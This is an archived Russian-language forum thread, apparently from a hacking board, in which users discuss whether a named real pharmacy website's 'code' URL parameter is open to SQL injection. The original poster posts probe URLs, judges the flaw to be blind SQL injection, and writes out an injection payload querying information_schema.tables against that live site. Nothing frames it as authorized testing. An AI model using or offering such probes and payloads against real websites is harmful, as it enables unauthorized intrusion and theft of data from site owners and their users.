PDA

Просмотр полной версии : Есть ли sql-inj?

Brain explosion
06.02.2009, 14:20
_http://www.oldlekar.ru/InApteks.aspx?code=[sql-inj]?
Сабж...
groundhog
06.02.2009, 14:42
нет
Chaak
06.02.2009, 14:48
5 звезд
Brain explosion
06.02.2009, 14:52
Ну я понимаю, что редирект в случае ошибки, но правильный запрос можно попытаться составить?

http://www.oldlekar.ru/InApteks.aspx?code=204835
http://www.oldlekar.ru/InApteks.aspx?code=204836-1
http://www.oldlekar.ru/InApteks.aspx?code=204836

скуля есть, но слепая... ;)

http://www.oldlekar.ru/InApteks.aspx?code=204836+and+1=(SELECT+TOP+1+1+fr om+information_schema.tables)